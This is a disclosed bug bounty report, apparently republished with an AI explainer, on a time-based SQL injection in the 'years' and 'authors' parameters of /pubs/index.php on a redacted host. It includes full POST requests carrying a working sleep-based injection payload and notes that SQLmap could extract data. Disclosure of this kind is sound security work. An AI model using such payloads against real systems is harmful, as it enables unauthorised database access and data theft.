Time based SQL injection at████████
The 'years' and 'authors' parameters of the /pubs/index.php endpoint were vulnerable to time-based SQL injection. An attacker could use this to exfiltrate sensitive data from the database.
- Disclosed after 15 days
Description:
While doing test on██████, I’ve found that the endpoint at /pubs/index.php is vulnerable with SQL injection vulnerability. Vulnerable parameters are 'years' and 'authors'
References
Please check screenshots attached.
Impact
Time based SQL injection can lead to the exfiltration of sensitive data from the database.
System Host(s)
███████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
POC
Make the following POST request to /pubs/index.php
POST /pubs/index.php HTTP/1.1
Host:██████
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: https://███████
Referer: https://███████/pubs/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
years=2017&authors=Hurlburt'XOR(if(now()=sysdate(),sleep(2*2),0))OR'
Notice that the response time will be 4 seconds.
POST /pubs/index.php HTTP/1.1
Host:█████████
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: https://████████
Referer: https://████/pubs/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
years=2017&authors=Hurlburt'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
Notice that the response time will be 25 seconds.
This can be further exploited manually or using automated tools such as SQLmap to get data from the DB, but I will stop here for this report.
Thanks.
Suggested Mitigation/Remediation Actions
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application concatenated user input directly into SQL queries without parameterisation or escaping.
Impact
Time-based SQL injection could allow exfiltration of sensitive data from the database.
What the attacker needed
None
How it was found
- Send a POST request to /pubs/index.php with a crafted 'authors' value that includes a conditional sleep of 4 seconds.
- Observe that the response takes about 4 seconds, confirming the injection.
- Send a similar request with a conditional sleep of 25 seconds.
- Observe that the response takes about 25 seconds, further confirming the injection.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SQL injection is when user input is inserted into a database query without proper handling, letting an attacker change the query's meaning. Here, the 'authors' field was used to make the database wait for a set number of seconds, which proves the injection works. This delay can then be used to ask yes/no questions and slowly extract data.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.